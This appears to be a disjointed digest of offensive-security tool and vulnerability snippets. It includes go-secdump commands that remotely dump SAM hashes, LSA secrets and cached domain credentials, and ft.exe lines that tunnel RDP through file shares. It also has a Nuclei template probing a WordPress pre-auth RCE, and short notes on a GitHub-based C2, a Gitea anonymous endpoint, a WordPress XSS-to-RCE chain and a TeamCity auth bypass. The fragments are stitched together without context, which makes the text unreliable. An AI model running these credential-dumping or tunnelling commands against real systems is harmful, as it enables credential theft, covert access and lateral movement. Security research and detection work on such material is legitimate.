Remotely extract hashes from the SAM registry hive as well as LSA secrets and cached hashes from the SECURITY hive without any remote agent and without touching disk
The tool is built on top of the library go-smb and use it to communicate with the Windows Remote Registry to retrieve registry keys directly from memory

./go-secdump.exe --host HOST --user Admin --pass Pass123 --local --sam
./go-secdump.exe --host HOST --user Admin --pass Pass123 --local --lsa
./go-secdump.exe --host HOST --user Admin --pass Pass123 --local --dcc2

./go-secdump.exe --host 192.168.0.100 -n --relay

S3 Buckets
Dropbox
FTP
Citrix

# Host A
ft.exe -L 5000:127.0.0.1:3389 --write "\\server\share\1.dat" --read "\\server\share\2.dat"

# Host B
ft.exe --read "\\server\share\1.dat" --write "\\server\share\2.dat"

# Host A
ft.exe -L 5000:192.168.1.50:8888 --write "C:\Temp\1.dat" --read "C:\Temp\2.dat"

# Host B
ft.exe --read "\\tsclient\c\Temp\1.dat" --write "\\tsclient\c\Temp\2.dat"

CLI tool and library that implements the KeyCredentialLink structures according to section 2.2.20 of the Active Directory Technical Specification (MS-ADTS)

Added SOCKS5 support for auth/burn
Added badge for KCLs that are not validated write compatible to indicate that computer accounts cannot restore these after clearing them

WordPress REST API Batch endpoint (/wp-json/batch/v1) SQL Injection 
Unauthenticated RCE

id: wp2shell-batch-exposure

info:
  name: WordPress wp2shell Exposure (CVE-2026-63030, CVE-2026-60137)
  author: zephrsec
  severity: critical
  reference:
    - https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/
  classification:
    cve-id: CVE-2026-63030,CVE-2026-60137
  tags: wordpress,cve2026,rce,sqli,wp2shell

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /?rest_route=/batch/v1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

    req-condition: true
    redirects: true

    extractors:
      - type: regex
        name: wp_version
        part: body_1
        group: 1
        regex:
          - 'name="generator" content="WordPress ([0-9.]+)"'

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - >-
            compare_versions(wp_version, ">=6.9.0", "<6.9.5") ||
            compare_versions(wp_version, ">=7.0.0", "<7.0.2") ||
            compare_versions(wp_version, ">=6.8.0", "<6.8.6")
      - type: word
        part: body_2
        words:
          - '"rest_missing_callback_param"'
          - '"rest_invalid_param"'
        condition: or

GitHub-native C2 for authorized security research, with encrypted multi-channel transport and resilient failover

Gitea registers POST /{username}/{reponame}/markup with optional sign-in,
repository assignment, and a repository-unit reader check. An anonymous user
passes that check for a public repository with a normal readable code unit.

POST /{owner}/{repo}/markup

XSS2Shell is a pre-authentication XSS to code-execution chain affecting WordPress Core (all versions back to 4.7, ~500M+ sites). A single crafted failed-login attempt runs attacker JavaScript in the WordPress origin; against a logged-in administrator it escalates to full RCE

🐥 A victim already logged in as a single-site Administrator
🐥 Explicit interaction (typically one click) with an attacker-controlled page
🐥 Specific WordPress features aligned (Application Passwords, plugin upload capability, etc.)

Неаутентифицированный пользователь с доступом к серверу может обойти проверки аутентификации и выполнить произвольные команды с привилегиями процесса TeamCity